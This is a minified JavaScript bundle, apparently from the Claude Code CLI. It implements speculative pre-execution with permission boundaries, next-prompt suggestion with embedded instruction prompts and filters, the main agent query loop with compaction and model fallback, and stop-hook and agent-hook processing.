YPA(q,()=>({boundary:{type:"edit",toolName:Z.name,filePath:C??"",completedAt:Date.now()}})),w.abort(),df1("Speculation paused: file edit requires permission","speculation_edit_boundary")}}if(D||j){let P="notebook_path"in W?"notebook_path":("path"in W)?"path":"file_path",f=W[P];if(f){let N=XC2($,f);if(OC2(N)||N.startsWith("..")){if(D)return h(`[Speculation] Denied ${Z.name}: path outside cwd: ${f}`),df1("Write outside cwd not allowed during speculation","speculation_write_outside_root");return{behavior:"allow",updatedInput:W,decisionReason:{type:"other",reason:"speculation_read_outside_root"}}}if(D){if(!O.current.has(N)){let T=J9A(X,N);Cx6(kHK(T),{recursive:!0});try{EHK(J9A($,N),T)}catch{}O.current.add(N)}W={...W,[P]:J9A(X,N)}}else if(O.current.has(N))W={...W,[P]:J9A(X,N)};return h(`[Speculation] ${D?"Write":"Read"} ${f} -> ${W[P]}`),{behavior:"allow",updatedInput:W,decisionReason:{type:"other",reason:"speculation_file_access"}}}if(j)return{behavior:"allow",updatedInput:W,decisionReason:{type:"other",reason:"speculation_read_default_cwd"}}}if(Z.name==="Bash"&&"command"in W&&typeof W.command==="string"){let P=W.command;if(Qf1({command:P},nf1(P)).behavior!=="allow")return h(`[Speculation] Stopping at bash: ${P.slice(0,50)}...`),YPA(q,()=>({boundary:{type:"bash",command:P,completedAt:Date.now()}})),w.abort(),df1("Speculation paused: bash boundary","speculation_bash_boundary")}h(`[Speculation] Stopping at denied tool: ${Z.name}`);let M=String("url"in W&&W.url||"file_path"in W&&W.file_path||"path"in W&&W.path||"command"in W&&W.command||"").slice(0,200);return YPA(q,()=>({boundary:{type:"denied_tool",toolName:Z.name,detail:M,completedAt:Date.now()}})),w.abort(),df1(`Tool ${Z.name} not allowed during speculation`,"speculation_unknown_tool")},querySource:"speculation",forkLabel:"speculation",maxTurns:_C2,overrides:{abortController:w,requireCanUseTool:!0},onMessage:(Z)=>{if(Z.type==="assistant"||Z.type==="user"){if(J.current.push(Z),J.current.length>=GC2)w.abort();if(yx6(Z)){let W=Z.message.content.filter((D)=>D.type==="tool_result"&&!D.is_error).length;if(W>0)YPA(q,(D)=>({toolUseCount:D.toolUseCount+W}))}}}});if(w.signal.aborted)return;YPA(q,()=>({boundary:{type:"complete",completedAt:Date.now(),outputTokens:G.totalUsage.output_tokens}})),h(`[Speculation] Complete: ${Rx6(J.current)} tools`),PC2(_.current,A,J.current,q,w)}catch(G){if(w.abort(),G instanceof Error&&G.name==="AbortError"){qpA(X),Lx6(q);return}qpA(X),KA(G instanceof Error?G:Error("Speculation failed")),lf1(z,"error",H,A.length,J.current,null,{error_type:G instanceof Error?G.name:"Unknown",error_message:(G instanceof Error?G.message:String(G)).slice(0,200),error_phase:"start",is_pipelined:Y}),Lx6(q)}}function VC2(A,K,q){if(A.status!=="active")return null;let{id:Y,messagesRef:z,writtenPathsRef:w,abort:H,startTime:J,suggestionLength:O,isPipelined:X}=A,$=z.current,_=cf1(Y),G=Date.now();if(H(),q>0)ZC2(_,w.current,bg());qpA(_);let Z=A.boundary,W=Math.min(G,Z?.completedAt??1/0)-J;return K((D)=>{if(D.speculation.status==="active"&&D.speculation.boundary)Z=D.speculation.boundary,W=Math.min(G,Z.completedAt??1/0)-J;return{...D,speculation:X9A,speculationSessionTimeSavedMs:D.speculationSessionTimeSavedMs+W}}),h(Z===null?`[Speculation] Accept ${Y}: still running, using ${$.length} messages`:`[Speculation] Accept ${Y}: already complete`),lf1(Y,"accepted",J,O,$,Z,{message_count:$.length,time_saved_ms:W,is_pipelined:X}),{messages:$,boundary:Z,timeSavedMs:W}}function O9A(A){A((K)=>{if(K.speculation.status!=="active")return K;let{id:q,abort:Y,startTime:z,boundary:w,suggestionLength:H,messagesRef:J,isPipelined:O}=K.speculation;return h(`[Speculation] Aborting ${q}`),lf1(q,"aborted",z,H,J.current,w,{abort_reason:"user_typed",is_pipelined:O}),Y(),qpA(cf1(q)),{...K,speculation:X9A}})}function CHK(A,K,q,Y,z){try{let{setMessages:w,readFileState:H,cwd:J}=z;q((M)=>{if(M.promptSuggestion.text===null&&M.promptSuggestion.promptId===null)return M;return{...M,promptSuggestion:{text:null,promptId:null,shownAt:0,acceptedAt:0,generationRequestId:null}}});let O=A.messagesRef.current,X=jC2(O),$=t1({content:Y});w((M)=>[...M,$]);let _=VC2(A,q,X.length),G=_?.timeSavedMs??0,Z=K+G,W=MC2(X,_?.boundary??null,G,Z);w((M)=>[...M,...X]);let D=H9A(X,J,T7A);if(H.current=F$A(H.current,D),W)w((M)=>[...M,W]);let j=_?.boundary?.type==="complete";if(h(`[Speculation] ${_?.boundary?.type??"incomplete"}, injected ${X.length} messages`),j&&A.pipelinedSuggestion){let{text:M,promptId:P,generationRequestId:f}=A.pipelinedSuggestion;h(`[Speculation] Promoting pipelined suggestion: "${M.slice(0,50)}..."`),q((T)=>({...T,promptSuggestion:{text:M,promptId:P,shownAt:Date.now(),acceptedAt:0,generationRequestId:f}}));let N={...A.contextRef.current,messages:[...A.contextRef.current.messages,t1({content:Y}),...X]};Sx6(M,N,q,!0)}return{queryRequired:!j}}catch(w){return KA(w instanceof Error?w:Error("handleSpeculationAccept failed")),lf1(A.id,"error",A.startTime,A.suggestionLength,A.messagesRef.current,A.boundary,{error_type:w instanceof Error?w.name:"Unknown",error_message:(w instanceof Error?w.message:String(w)).slice(0,200),error_phase:"accept",is_pipelined:A.isPipelined}),qpA(cf1(A.id)),Lx6(q),{queryRequired:!0}}}var _C2=20,GC2=100;var YpA=k(()=>{Xz();A4();eB();$8();Uf1();_P();l1();Z1();i6();C1();Jz();q6();pf1();hD();zPA()});function if1(){return G4(fC2,"user_intent")}function rf1(){let A=process.env.CLAUDE_CODE_ENABLE_PROMPT_SUGGESTION;if(A==="false")return n("tengu_prompt_suggestion_init",{enabled:!1,source:"env"}),!1;if(A==="1")return n("tengu_prompt_suggestion_init",{enabled:!0,source:"env"}),!0;if(b7())return n("tengu_prompt_suggestion_init",{enabled:!1,source:"non_interactive"}),!1;if(b8()&&m2())return n("tengu_prompt_suggestion_init",{enabled:!1,source:"swarm_teammate"}),!1;if(_9A()==="mcp-cli")return n("tengu_prompt_suggestion_init",{enabled:!1,source:"mcp_cli_mode"}),!1;let q=yq()?.promptSuggestionEnabled!==!1;return n("tengu_prompt_suggestion_init",{enabled:q,source:"setting"}),q}function LHK(){if($9A)$9A.abort(),$9A=null}function hx6(A){if(!A.promptSuggestionEnabled)return"disabled";if(A.pendingWorkerRequest||A.pendingSandboxRequest)return"pending_permission";if(A.elicitation.queue.length>0)return"elicitation_active";if(A.toolPermissionContext.mode==="plan")return"plan_mode";if(zf.status!=="allowed")return"rate_limit";return null}async function RHK(A){if(A.querySource!=="repl_main_thread")return;let K=await A.toolUseContext.getAppState(),q=hx6(K);if(q){rS(q);return}if(A.messages.filter((J)=>J.type==="assistant").length<2){rS("early_conversation");return}let z=rf(A.messages);if(z?.isApiErrorMessage){rS("last_response_error");return}if(z&&TC2(z)){rS("cache_cold");return}$9A=new AbortController;let w=$9A,H=if1();try{let{suggestion:J,generationRequestId:O}=await bx6(A,w,H);if(xx6(J,H))return;if(A.toolUseContext.setAppState((X)=>({...X,promptSuggestion:{text:J,promptId:H,shownAt:0,acceptedAt:0,generationRequestId:O}})),Ix6()&&J)Sx6(J,A,A.toolUseContext.setAppState)}catch(J){if(J instanceof Error&&J.name==="AbortError"){rS("aborted");return}KA(J instanceof Error?J:Error("Prompt suggestion generation failed"))}finally{if($9A===w)$9A=null}}function TC2(A){if(!A)return!1;let K=A.message.usage,q=K.input_tokens??0,Y=K.cache_read_input_tokens??0,z=K.cache_creation_input_tokens??0,w=q+Y+z;if(w===0)return!1;return z/w>NC2}async function bx6(A,K,q){let Y=u3A(A),z=kC2[q],w=async()=>({behavior:"deny",message:"No tools needed for suggestion",decisionReason:{type:"other",reason:"suggestion only"}}),H=await bS({promptMessages:[t1({content:z})],cacheSafeParams:Y,maxOutputTokens:500,canUseTool:w,querySource:"prompt_suggestion",forkLabel:"prompt_suggestion",overrides:{abortController:K}}),J=H.messages.find((X)=>X.type==="assistant"),O=J?.type==="assistant"?J.requestId??null:null;for(let X of H.messages){if(X.type!=="assistant")continue;let $=X.message.content.find((_)=>_.type==="text");if($?.type==="text"&&$.text.trim())return{suggestion:$.text.trim(),generationRequestId:O}}return{suggestion:null,generationRequestId:O}}function xx6(A,K){if(!A)return rS("empty",void 0,K),!0;let q=A.toLowerCase(),Y=A.trim().split(/\s+/).length,z=[["done",()=>q==="done"],["too_few_words",()=>Y<2],["too_many_words",()=>Y>8],["error_message",()=>q.startsWith("api error:")||q.startsWith("prompt is too long")||q.startsWith("request timed out")||q.startsWith("invalid api key")||q.startsWith("image was too large")],["too_long",()=>A.length>=100],["multiple_sentences",()=>/[.!?]\s+[A-Z]/.test(A)],["has_formatting",()=>/[\n*]|\*\*/.test(A)],["evaluative",()=>/thanks|thank you|looks good|sounds good|that works|that worked|that's all|nice|great|perfect|makes sense|awesome|excellent/.test(q)],["claude_voice",()=>/^(let me|i'll|i've|i'm|i can|i would|i think|i notice|here's|here is|here are|that's|this is|this will|you can|you should|you could|sure,|of course|certainly)/i.test(A)]];for(let[w,H]of z)if(H())return rS(w,A,K),!0;return!1}function rS(A,K,q){n("tengu_prompt_suggestion",{outcome:"suppressed",reason:A,prompt_id:q??if1(),...!1})}var fC2="tengu_plank_river_frost",$9A=null,NC2=0.5,vC2=`[SUGGESTION MODE: Suggest what the user might naturally type next into Claude Code.] FIRST: Look at the user's recent messages and original request. Your job is to predict what THEY would type - not what you think they should do. THE TEST: Would they think "I was just about to type that"? EXAMPLES: User asked "fix the bug and run tests", bug is fixed → "run the tests" After code written → "try it out" Claude offers options → suggest the one the user would likely pick, based on conversation Claude asks to continue → "yes" or "go ahead" Task complete, obvious follow-up → "commit this" or "push it" After error or misunderstanding → silence (let them assess/correct) Be specific: "run the tests" beats "continue". NEVER SUGGEST: - Evaluative ("looks good", "thanks") - Questions ("what about...?") - Claude-voice ("Let me...", "I'll...", "Here's...") - New ideas they didn't ask about - Multiple sentences Stay silent if the next step isn't obvious from what the user said. Format: 2-8 words, match the user's style. Or nothing. Reply with ONLY the suggestion, no quotes or explanation.`,EC2=`[SUGGESTION MODE] TASK: Find a stated next step in the user's messages. Return it, or nothing. SEARCH FOR: - Multi-part requests: "do X and Y" → X done → return "Y" - Stated intent: "then I'll Z", "next...", "after that..." → return "Z" - Answer to Claude's question → return "yes" / "go ahead" / obvious choice NOTHING FOUND → return nothing. This is correct most of the time. Only return text you can trace to the user's stated plan. 2-8 words. User's phrasing. Never evaluate, never Claude-voice. Output ONLY the suggestion, or nothing.`,kC2;var zPA=k(()=>{eB();$8();l1();C1();t9();W2();vC();q6();jI();I8();YpA();B7();kC2={user_intent:vC2,stated_intent:EC2}});function yHK(){CC2=[]}var CC2;var IHK=k(()=>{CC2=[]});async function SHK(){return}function yC2(){yHK(),RC2="",D6((A)=>({...A,coachingTipsThisSession:0}))}function hHK(){return M1().coachingMode??"off"}var LC2=!1,RC2="";var zpA=k(()=>{eB();$8();q6();i6();l1();C1();IHK()});async function*bHK(A,K,q,Y,z,w,H,J,O,X,$,_,G){let Z=Date.now(),W={messages:[...A,...K],systemPrompt:q,userContext:Y,systemContext:z,toolUseContext:H,querySource:J};if(PHK(W),process.env.CLAUDE_CODE_ENABLE_PROMPT_SUGGESTION!=="false")RHK(W);try{let D=[],M=(await H.getAppState()).toolPermissionContext.mode,P=mx6(M,H.abortController.signal,void 0,$??!1,H.agentId,H,[...A,...K]),f="",N=0,T=!1,C="",R=!1,x=[],y=[];for await(let B of P){if(B.message){if(yield B.message,B.message.type==="progress"&&B.message.toolUseID){f=B.message.toolUseID,N++;let b=B.message.data;if(b.command)y.push({command:b.command,promptText:b.promptText})}if(B.message.type==="attachment"){let b=B.message.attachment;if("hookEvent"in b&&(b.hookEvent==="Stop"||b.hookEvent==="SubagentStop")){if(b.type==="hook_non_blocking_error")x.push(b.stderr||`Exit code ${b.exitCode}`),R=!0;else if(b.type==="hook_error_during_execution")x.push(b.content),R=!0;else if(b.type==="hook_success"){if(b.stdout&&b.stdout.trim()||b.stderr&&b.stderr.trim())R=!0}}}}if(B.blockingError){let b=t1({content:Bx6(B.blockingError),isMeta:!0});D.push(b),yield b,R=!0,x.push(B.blockingError.blockingError)}if(B.preventContinuation)T=!0,C=B.stopReason||"Stop hook prevented continuation",yield PK({type:"hook_stopped_continuation",message:C,hookName:"Stop",toolUseID:f,hookEvent:"Stop"});if(H.abortController.signal.aborted){n("tengu_pre_stop_hooks_cancelled",{queryChainId:H.queryTracking?.chainId,queryDepth:H.queryTracking?.depth}),yield wPA({toolUse:!1});return}}if(N>0){if(yield uHK(N,y,x,T,C,R,"suggestion",f),x.length>0){let B=A$("app:toggleTranscript","Global","ctrl+o");H.addNotification?.({key:"stop-hook-error",text:`Stop hook error occurred · ${B} to see`,priority:"immediate"})}}if(T)return;if(D.length>0)yield*nf({messages:[...A,...K,...D],systemPrompt:q,userContext:Y,systemContext:z,canUseTool:w,toolUseContext:H,autoCompactTracking:O,fallbackModel:X,stopHookActive:!0,querySource:J,maxTurns:_,turnCount:G})}catch(D){let j=Date.now()-Z;n("tengu_stop_hook_error",{duration:j,queryChainId:H.queryTracking?.chainId,queryDepth:H.queryTracking?.depth}),yield sG(`Stop hook failed: ${D instanceof Error?D.message:String(D)}`,"warning")}}var xHK=k(()=>{l1();$8();sD();JP();vx6();Vz();zPA();zpA();m3A()});import{randomUUID as BHK}from"crypto";function*gx6(A,K){for(let q of A){let Y=q.message.content.filter((z)=>z.type==="tool_use");for(let z of Y)yield t1({content:[{type:"tool_result",content:K,is_error:!0,tool_use_id:z.id}],toolUseResult:K,sourceToolAssistantUUID:q.uuid})}}async function*nf({messages:A,systemPrompt:K,userContext:q,systemContext:Y,canUseTool:z,toolUseContext:w,autoCompactTracking:H,fallbackModel:J,stopHookActive:O,querySource:X,maxOutputTokensOverride:$,maxOutputTokensRecoveryCount:_=0,maxTurns:G,turnCount:Z=1,pendingToolUseSummary:W}){if(yield{type:"stream_request_start"},W5("query_fn_entry"),!w.agentId)w9A("query_started");let D=w.queryTracking?{chainId:w.queryTracking.chainId,depth:w.queryTracking.depth+1}:{chainId:BHK(),depth:0},j=D.chainId;w={...w,queryTracking:D};let M=[...kv(A)],P=H;W5("query_microcompact_start");let f=await gd(M,void 0,w);if(M=f.messages,f.compactionInfo?.boundaryMessage)yield f.compactionInfo.boundaryMessage;W5("query_microcompact_end");let N=rwK(K,Y);W5("query_autocompact_start");let{compactionResult:T}=await mHK(M,w,{systemPrompt:K,userContext:q,systemContext:Y,toolUseContext:w,forkContextMessages:M},X);if(W5("query_autocompact_end"),T){let{preCompactTokenCount:MA,postCompactTokenCount:hA,compactionUsage:yA}=T;if(n("tengu_auto_compact_succeeded",{originalMessageCount:A.length,compactedMessageCount:T.summaryMessages.length+T.attachments.length+T.hookResults.length,preCompactTokenCount:MA,postCompactTokenCount:hA,compactionInputTokens:yA?.input_tokens,compactionOutputTokens:yA?.output_tokens,compactionCacheReadTokens:yA?.cache_read_input_tokens??0,compactionCacheCreationTokens:yA?.cache_creation_input_tokens??0,compactionTotalTokens:yA?yA.input_tokens+(yA.cache_creation_input_tokens??0)+(yA.cache_read_input_tokens??0)+yA.output_tokens:0,queryChainId:j,queryDepth:D.depth}),!P?.compacted)P={compacted:!0,turnId:BHK(),turnCounter:0};let AA=Bt(T);for(let wA of AA)yield wA;M=AA,gHK()}w={...w,messages:M};let C=[],R=[];W5("query_setup_start");let y=aY("tengu_streaming_tool_execution2")?new aUA(w.options.tools,z,w):null,B=await w.getAppState(),b=B.toolPermissionContext.mode,F=sn({permissionMode:b,mainLoopModel:w.options.mainLoopModel,exceeds200kTokens:b==="plan"&&cJ1(M)});W5("query_setup_end");let Q=void 0;if(!T){let{isAtBlockingLimit:MA}=md(WI(M));if(MA){yield D2({content:to,error:"invalid_request"});return}}let u=!0;W5("query_api_loop_start");try{while(u){u=!1;try{let MA=!1;W5("query_api_streaming_start");for await(let hA of aMA({messages:APA(M,q),systemPrompt:N,maxThinkingTokens:w.options.maxThinkingTokens,tools:w.options.tools,signal:w.abortController.signal,options:{async getToolPermissionContext(){return(await w.getAppState()).toolPermissionContext},model:F,toolChoice:void 0,isNonInteractiveSession:w.options.isNonInteractiveSession,fallbackModel:J,onStreamingFallback:()=>{MA=!0},querySource:X,agents:w.options.agentDefinitions.activeAgents,hasAppendSystemPrompt:!!w.options.appendSystemPrompt,maxOutputTokensOverride:$,fetchOverride:Q,mcpTools:B.mcp.tools,queryTracking:D,taskIntensityOverride:Y5A(),agentId:w.agentId}})){if(MA){for(let yA of C)yield{type:"tombstone",message:yA};if(n("tengu_orphaned_messages_tombstoned",{orphanedMessageCount:C.length,queryChainId:j,queryDepth:D.depth}),C.length=0,R.length=0,y)y.discard(),y=new aUA(w.options.tools,z,w)}if(yield hA,hA.type==="assistant"){if(C.push(hA),y){let yA=hA.message.content.filter((AA)=>AA.type==="tool_use");for(let AA of yA)y.addTool(AA,hA)}}if(y){for(let yA of y.getCompletedResults())if(yA.message)yield yA.message,R.push(...q0([yA.message],w.options.tools).filter((AA)=>AA.type==="user"))}}W5("query_api_streaming_end")}catch(MA){if(MA instanceof TG1&&J){if(F=J,u=!0,yield*gx6(C,"Model fallback triggered"),C.length=0,R.length=0,y)y.discard(),y=new aUA(w.options.tools,z,w);w.options.mainLoopModel=J,n("tengu_model_fallback_triggered",{original_model:MA.originalModel,fallback_model:J,entrypoint:"cli",queryChainId:j,queryDepth:D.depth}),yield sG(`Model fallback triggered: switching from ${MA.originalModel} to ${MA.fallbackModel}`,"info");continue}throw MA}}}catch(MA){KA(MA instanceof Error?MA:Error(String(MA)));let hA=MA instanceof Error?MA.message:String(MA);if(n("tengu_query_error",{assistantMessages:C.length,toolUses:C.flatMap((yA)=>yA.message.content.filter((AA)=>AA.type==="tool_use")).length,queryChainId:j,queryDepth:D.depth}),MA instanceof IGA||MA instanceof M7A){yield D2({content:MA.message});return}yield*gx6(C,hA),yield wPA({toolUse:!1}),fE("Query error",MA);return}if(C.length>0)KHK([...M,...C],K,q,Y,w,X);if(C.some((MA)=>MA.message.content.some((hA)=>hA.type==="text"&&wN7(hA.text))))n("tengu_model_response_keyword_detected",{is_overly_agreeable:!0,queryChainId:j,queryDepth:D.depth});if(w.abortController.signal.aborted){if(y){for await(let MA of y.getRemainingResults())if(MA.message)yield MA.message}else yield*gx6(C,"Interrupted by user");yield wPA({toolUse:!1});return}let r=C.flatMap((MA)=>MA.message.content.filter((hA)=>hA.type==="tool_use"));if(W){let MA=await W;if(MA)yield MA}if(!C.length||!r.length){if(C[C.length-1]?.apiError==="max_output_tokens"&&_<IC2){let hA=t1({content:"Your response was cut off because it exceeded the output token limit. Please break your work into smaller pieces. Continue from where you left off.",isMeta:!0});yield*nf({messages:[...M,...C,hA],systemPrompt:K,userContext:q,systemContext:Y,canUseTool:z,toolUseContext:w,autoCompactTracking:P,fallbackModel:J,querySource:X,maxOutputTokensRecoveryCount:_+1,maxTurns:G,turnCount:Z});return}yield*bHK(M,C,K,q,Y,z,w,X,P,J,O,G,Z);return}let c=!1,YA=w;if(W5("query_tool_execution_start"),y){n("tengu_streaming_tool_execution_used",{tool_count:r.length,queryChainId:j,queryDepth:D.depth});for await(let MA of y.getRemainingResults()){let hA=MA.message;if(!hA)continue;if(yield hA,hA&&hA.type==="attachment"&&hA.attachment.type==="hook_stopped_continuation")c=!0;R.push(...q0([hA],w.options.tools).filter((yA)=>yA.type==="user"))}YA={...y.getUpdatedContext(),queryTracking:D}}else{n("tengu_streaming_tool_execution_not_used",{tool_count:r.length,queryChainId:j,queryDepth:D.depth});for await(let MA of bf1(r,C,z,w)){if(MA.message){if(yield MA.message,MA.message.type==="attachment"&&MA.message.attachment.type==="hook_stopped_continuation")c=!0;R.push(...q0([MA.message],w.options.tools).filter((hA)=>hA.type==="user"))}if(MA.newContext)YA={...MA.newContext,queryTracking:D}}}W5("query_tool_execution_end");let e;if(P1(process.env.CLAUDE_CODE_EMIT_TOOL_USE_SUMMARIES)&&r.length>0&&!w.abortController.signal.aborted){let MA=C[C.length-1],hA;if(MA){let wA=MA.message.content.filter((GA)=>GA.type==="text");if(wA.length>0){let GA=wA[wA.length-1];if(GA&&"text"in GA)hA=GA.text}}let yA=r.map((wA)=>wA.id),AA=r.map((wA)=>{let GA=R.find((t)=>t.type==="user"&&Array.isArray(t.message.content)&&t.message.content.some((XA)=>XA.type==="tool_result"&&XA.tool_use_id===wA.id)),OA=GA?.type==="user"&&Array.isArray(GA.message.content)?GA.message.content.find((t)=>t.type==="tool_result"&&t.tool_use_id===wA.id):void 0;return{name:wA.name,input:wA.input,output:OA&&"content"in OA?OA.content:null}});e=KN7({tools:AA,signal:w.abortController.signal,isNonInteractiveSession:w.options.isNonInteractiveSession,lastAssistantText:hA}).then((wA)=>{if(wA)return FHK(wA,yA);return null}).catch(()=>null)}if(w.abortController.signal.aborted){yield wPA({toolUse:!0});let MA=Z+1;if(G&&MA>G)yield PK({type:"max_turns_reached",maxTurns:G,turnCount:MA});return}if(c)return;if(P?.compacted)P.turnCounter++,n("tengu_post_autocompact_turn",{turnId:P.turnId,turnCounter:P.turnCounter,queryChainId:j,queryDepth:D.depth});n("tengu_query_before_attachments",{messagesForQueryCount:M.length,assistantMessagesCount:C.length,toolResultsCount:R.length,queryChainId:j,queryDepth:D.depth});let HA=(await YA.getAppState()).queuedCommands;for await(let MA of HMA(null,YA,null,HA,[...M,...C,...R],X))yield MA,R.push(MA);let _A=HA.filter((MA)=>MA.mode==="prompt");if(_A.length>0)Ij7(_A,YA.setAppState);let a=R.filter((MA)=>MA.type==="attachment"&&MA.attachment.type==="edited_text_file").length;n("tengu_query_after_attachments",{totalToolResultsCount:R.length,fileChangeAttachmentCount:a,queryChainId:j,queryDepth:D.depth});let JA={...YA,queryTracking:D},jA=Z+1;if(G&&jA>G){yield PK({type:"max_turns_reached",maxTurns:G,turnCount:jA});return}W5("query_recursive_call"),yield*nf({messages:[...M,...C,...R],systemPrompt:K,userContext:q,systemContext:Y,canUseTool:z,toolUseContext:JA,autoCompactTracking:P,fallbackModel:J,stopHookActive:O,querySource:X,maxTurns:G,turnCount:jA,pendingToolUseSummary:e})}var IC2=3;var m3A=k(()=>{sz();q5A();Sd();G9A();St();B7();l1();IWA();HO1();Au();l6();C1();cT();Z1();$8();qN7();Ke();sD();Tf();q6();iUA();K7();oZ();nUA();PDA();$HK();qPA();fx6();xHK()});import{randomUUID as QHK}from"crypto";async function UHK(A,K,q,Y,z,w,H,J){let O=H||`hook-${QHK()}`,X=w.agentId?$B(w.agentId):Y$(),$=Date.now();try{let _=XG1(A.prompt(J),Y);h(`Hooks: Processing agent hook with prompt: ${_}`);let Z=[t1({content:_})];h(`Hooks: Starting agent query with ${Z.length} messages`);let W=A.timeout?A.timeout*1000:60000,D=e7(),{signal:j,cleanup:M}=rC(z,AbortSignal.timeout(W)),P=()=>D.abort();j.addEventListener("abort",P);let f=D.signal;try{let N=SP7(),C=[...w.options.tools.filter((d)=>d.name!==bG).filter((d)=>!MDA.has(d.name)),N],R=[`You are verifying a stop condition in Claude Code. Your task is to verify that the agent completed the given plan. The conversation transcript is available at: ${X} You can read this file to analyze the conversation history if needed. Use the available tools to inspect the codebase and verify the condition. Use as few steps as possible - be efficient and direct. When done, return your result using the ${bG} tool with: - ok: true if the condition is met - ok: false with reason if the condition is not met`],x=A.model??_O(),y=50,B=oD(`hook-agent-${QHK()}`),b={...w,agentId:B,abortController:D,options:{...w.options,tools:C,mainLoopModel:x,isNonInteractiveSession:!0,maxThinkingTokens:0},setInProgressToolUseIDs:()=>{},async getAppState(){let d=await w.getAppState(),r=d.toolPermissionContext.alwaysAllowRules.session??[];return{...d,toolPermissionContext:{...d.toolPermissionContext,mode:"dontAsk",alwaysAllowRules:{...d.toolPermissionContext.alwaysAllowRules,session:[...r,`Read(/${X})`]}}}}};$G1(w.setAppState,B);let F=null,Q=0,u=!1;for await(let d of nf({messages:Z,systemPrompt:R,userContext:{},systemContext:{},canUseTool:V_,toolUseContext:b,querySource:"hook_agent"})){if(of1(d,()=>{},(r)=>w.setResponseLength((c)=>c+r.length),w.setStreamMode??(()=>{}),()=>{}),d.type==="stream_event"||d.type==="stream_request_start")continue;if(d.type==="assistant"){if(Q++,Q>=50){u=!0,h(`Hooks: Agent turn ${Q} hit max turns, aborting`),D.abort();break}}if(d.type==="attachment"&&d.attachment.type==="structured_output"){let r=VmA.safeParse(d.attachment.data);if(r.success){F=r.data,h(`Hooks: Got structured output: ${UA(F)}`),D.abort();break}}}if(j.removeEventListener("abort",P),M(),fWA(w.setAppState,B),!F){if(u)return h("Hooks: Agent hook did not complete within 50 turns"),n("tengu_agent_stop_hook_max_turns",{durationMs:Date.now()-$,turnCount:Q}),{hook:A,outcome:"cancelled"};return h("Hooks: Agent hook did not return structured output"),n("tengu_agent_stop_hook_error",{durationMs:Date.now()-$,turnCount:Q,errorType:1}),{hook:A,outcome:"cancelled"}}if(!F.ok)return h(`Hooks: Agent hook condition was not met: ${F.reason}`),{hook:A,outcome:"blocking",blockingError:{blockingError:`Agent hook condition was not met: ${F.reason}`,command:A.prompt(J)}};return h("Hooks: Agent hook condition was met"),n("tengu_agent_stop_hook_success",{durationMs:Date.now()-$,turnCount:Q}),{hook:A,outcome:"success",message:PK({type:"hook_success",hookName:K,toolUseID:O,hookEvent:q,content:"Condition met"})}}catch(N){if(j.removeEventListener("abort",P),M(),f.aborted)return{hook:A,outcome:"cancelled"};throw N}}catch(_){let G=_ instanceof Error?_.message:String(_);return h(`Hooks: Agent hook error: ${G}`),n("tengu_agent_stop_hook_error",{durationMs:Date.now()-$,errorType:2}),{hook:A,outcome:"non_blocking_error",message:PK({type:"hook_non_blocking_error",hookName:K,toolUseID:O,hookEvent:q,stderr:`Error executing agent hook: ${G}`,stdout:"",exitCode:1})}}}var pHK=k(()=>{Z1();S2();m3A();K7();sD();l1();kp();Jz();jmA();_G1();UK();$8();f_();yp();b1()});var rHK={};_q(rHK,{getUserPromptSubmitHookBlockingMessage:()=>Qx6,getStopHookMessage:()=>Bx6,getPreToolHookBlockingMessage:()=>$x6,getMatchingHooks:()=>Fx6,executeUserPromptSubmitHooks:()=>px6,executeSubagentStartHooks:()=>jI6,executeStopHooks:()=>mx6,executeStatusLineCommand:()=>nx6,executeSetupHooks:()=>cx6,executeSessionStartHooks:()=>dx6,executeSessionEndHooks:()=>ix6,executePreToolHooks:()=>_x6,executePreCompactHooks:()=>lx6,executePostToolUseFailureHooks:()=>Zx6,executePostToolHooks:()=>Gx6,executePermissionRequestHooks:()=>HPA,executeNotificationHooks:()=>oR6,executeFileSuggestionCommand:()=>rx6,createBaseHookInput:()=>tG});import{spawn as SC2}from"node:child_process";import{randomUUID as oS}from"crypto";function dHK({processId:A,hookId:K,shellCommand:q,asyncResponse:Y,hookEvent:z,hookName:w,command:H}){let J=q.background(A);if(!J)return!1;return EP7({processId:A,hookId:K,asyncResponse:Y,hookEvent:z,hookName:w,command:H,shellCommand:q}),J.stdoutStream.on("data",(O)=>{kP7(A,O.toString())}),J.stderrStream.on("data",(O)=>{CP7(A,O.toString())}),!0}function lHK(){if(!!b7())return!1;return!Dw(!1)}function tG(A,K){let q=K??d1();return{session_id:q,transcript_path:T_(q),cwd:x1(),permission_mode:A}}function iHK(A){let K=A.trim();if(!K.startsWith("{"))return h("Hook output does not start with {, treating as plain text"),{plainText:A};try{let q=G6(K),Y=YG1.safeParse(q);if(Y.success)return h("Successfully parsed and validated hook JSON output"),{json:Y.data};else{let w=`Hook JSON output validation failed: ${Y.error.issues.map((H)=>` - ${H.path.join(".")}: ${H.message}`).join(` `)} Expected schema: ${UA({continue:"boolean (optional)",suppressOutput:"boolean (optional)",stopReason:"string (optional)",decision:'"approve" | "block" (optional)',reason:"string (optional)",systemMessage:"string (optional)",permissionDecision:'"allow" | "deny" | "ask" (optional)',hookSpecificOutput:{"for PreToolUse":{hookEventName:'"PreToolUse"',permissionDecision:'"allow" | "deny" | "ask" (optional)',permissionDecisionReason:"string (optional)",updatedInput:"object (optional) - Modified tool input to use"},"for UserPromptSubmit":{hookEventName:'"UserPromptSubmit"',additionalContext:"string (required)"},"for PostToolUse":{hookEventName:'"PostToolUse"',additionalContext:"string (optional)"}}},null,2)}. The hook's stdout was: ${UA(q,null,2)}`;return h(w),{plainText:A,validationError:w}}}catch(q){return h(`Failed to parse hook output as JSON: ${q}`),{plainText:A}}}function nHK({json:A,command:K,hookName:q,toolUseID:Y,hookEvent:z,expectedHookEvent:w,stdout:H,stderr:J,exitCode:O}){let X={},$=A;if($.continue===!1){if(X.preventContinuation=!0,$.stopReason)X.stopReason=$.stopReason}if(A.decision)switch(A.decision){case"approve":X.permissionBehavior="allow";break;case"block":X.permissionBehavior="deny",X.blockingError={blockingError:A.reason||"Blocked by hook",command:K};break;default:throw Error(`Unknown hook decision type: ${A.decision}. Valid types are: approve, block`)}if(A.systemMessage)X.systemMessage=A.systemMessage;if(A.hookSpecificOutput?.hookEventName==="PreToolUse"&&A.hookSpecificOutput.permissionDecision)switch(A.hookSpecificOutput.permissionDecision){case"allow":X.permissionBehavior="allow";break;case"deny":X.permissionBehavior="deny",X.blockingError={blockingError:A.reason||"Blocked by hook",command:K};break;case"ask":X.permissionBehavior="ask";break;default:throw Error(`Unknown hook permissionDecision type: ${A.hookSpecificOutput.permissionDecision}. Valid types are: allow, deny, ask`)}if(X.permissionBehavior!==void 0&&A.reason!==void 